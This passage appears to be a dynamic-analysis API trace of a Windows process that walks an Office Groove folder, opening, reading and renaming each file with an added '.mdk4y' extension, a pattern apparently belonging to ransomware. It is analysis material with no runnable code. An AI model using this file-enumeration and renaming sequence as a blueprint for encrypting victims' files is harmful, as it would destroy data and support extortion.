lpPerformanceCount=0x37dd40*=1829602300000) returned 1 [0220.793] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1499, lpOverlapped=0x0) returned 1 [0220.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829602400000) returned 1 [0220.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829602400000) returned 1 [0220.795] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg.mdk4y")) returned 1 [0220.796] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.796] AreFileApisANSI () returned 1 [0220.796] GetACP () returned 0x4e4 [0220.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIconsMask.bmp", cchWideChar=32, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIconsMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 32 [0220.796] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829602700000) returned 1 [0220.797] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x638, lpOverlapped=0x0) returned 1 [0220.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829603500000) returned 1 [0220.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829603500000) returned 1 [0220.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp.mdk4y")) returned 1 [0220.807] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.807] AreFileApisANSI () returned 1 [0220.807] GetACP () returned 0x4e4 [0220.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewFrame.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewFrame.htmlIconsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0220.807] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829603800000) returned 1 [0220.808] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x164a, lpOverlapped=0x0) returned 1 [0220.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829606300000) returned 1 [0220.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829606300000) returned 1 [0220.833] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html.mdk4y")) returned 1 [0220.835] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.835] AreFileApisANSI () returned 1 [0220.835] GetACP () returned 0x4e4 [0220.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewTemplate.html", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewTemplate.htmlnsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 22 [0220.835] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829606600000) returned 1 [0220.836] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xadf, lpOverlapped=0x0) returned 1 [0220.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829606800000) returned 1 [0220.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829606800000) returned 1 [0220.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html.mdk4y")) returned 1 [0220.839] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.839] AreFileApisANSI () returned 1 [0220.839] GetACP () returned 0x4e4 [0220.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormToolImages.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormToolImages.jpghtml", lpUsedDefaultChar=0x37dda8) returned 18 [0220.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829607000000) returned 1 [0220.840] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1bfb, lpOverlapped=0x0) returned 1 [0220.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829607200000) returned 1 [0220.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829607200000) returned 1 [0220.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg.mdk4y")) returned 1 [0220.843] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.843] AreFileApisANSI () returned 1 [0220.843] GetACP () returned 0x4e4 [0220.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="form_edit.js", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="form_edit.jses.jpg", lpUsedDefaultChar=0x37dda8) returned 12 [0220.843] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829607400000) returned 1 [0220.844] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2577, lpOverlapped=0x0) returned 1 [0220.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829611200000) returned 1 [0220.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829611200000) returned 1 [0220.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js.mdk4y")) returned 1 [0220.885] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.885] AreFileApisANSI () returned 1 [0220.885] GetACP () returned 0x4e4 [0220.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LAUNCH.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="LAUNCH.GIFjs", lpUsedDefaultChar=0x37dda8) returned 10 [0220.885] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829615200000) returned 1 [0220.922] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x267, lpOverlapped=0x0) returned 1 [0220.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829615300000) returned 1 [0220.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829615300000) returned 1 [0220.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif.mdk4y")) returned 1 [0220.953] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.953] AreFileApisANSI () returned 1 [0220.953] GetACP () returned 0x4e4 [0220.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="macroprogress.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="macroprogress.gifg", lpUsedDefaultChar=0x37dda8) returned 17 [0220.953] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829618400000) returned 1 [0220.954] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xa52f, lpOverlapped=0x0) returned 1 [0220.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829620400000) returned 1 [0220.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829620400000) returned 1 [0220.975] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif.mdk4y")) returned 1 [0220.976] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.976] AreFileApisANSI () returned 1 [0220.976] GetACP () returned 0x4e4 [0220.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PublicFunctions.js", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="PublicFunctions.js", lpUsedDefaultChar=0x37dda8) returned 18 [0220.976] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829620800000) returned 1 [0220.978] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x21e5, lpOverlapped=0x0) returned 1 [0220.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829621200000) returned 1 [0220.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829621200000) returned 1 [0220.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js.mdk4y")) returned 1 [0220.985] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.985] AreFileApisANSI () returned 1 [0220.985] GetACP () returned 0x4e4 [0220.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_alignleft.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_alignleft.gifs", lpUsedDefaultChar=0x37dda8) returned 17 [0220.985] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829621500000) returned 1 [0220.986] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x350, lpOverlapped=0x0) returned 1 [0220.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829621700000) returned 1 [0220.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829621700000) returned 1 [0220.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif.mdk4y")) returned 1 [0220.988] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.988] AreFileApisANSI () returned 1 [0220.988] GetACP () returned 0x4e4 [0220.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_alignright.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_alignright.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0220.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829621900000) returned 1 [0220.989] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x34f, lpOverlapped=0x0) returned 1 [0220.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622000000) returned 1 [0220.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622000000) returned 1 [0220.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif.mdk4y")) returned 1 [0220.991] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.991] AreFileApisANSI () returned 1 [0220.991] GetACP () returned 0x4e4 [0220.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RTF_BOLD.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="RTF_BOLD.GIFht.gif", lpUsedDefaultChar=0x37dda8) returned 12 [0220.991] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622200000) returned 1 [0220.992] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x366, lpOverlapped=0x0) returned 1 [0220.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622300000) returned 1 [0220.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622300000) returned 1 [0220.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bold.gif.mdk4y")) returned 1 [0220.994] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.994] AreFileApisANSI () returned 1 [0220.994] GetACP () returned 0x4e4 [0220.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_bullets.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_bullets.gifgif", lpUsedDefaultChar=0x37dda8) returned 15 [0220.994] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622500000) returned 1 [0220.995] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x365, lpOverlapped=0x0) returned 1 [0220.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622600000) returned 1 [0220.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622600000) returned 1 [0220.996] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif.mdk4y")) returned 1 [0220.998] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.998] AreFileApisANSI () returned 1 [0220.998] GetACP () returned 0x4e4 [0220.998] WideCharToMultiByte (in: CodePage=0x4e4, 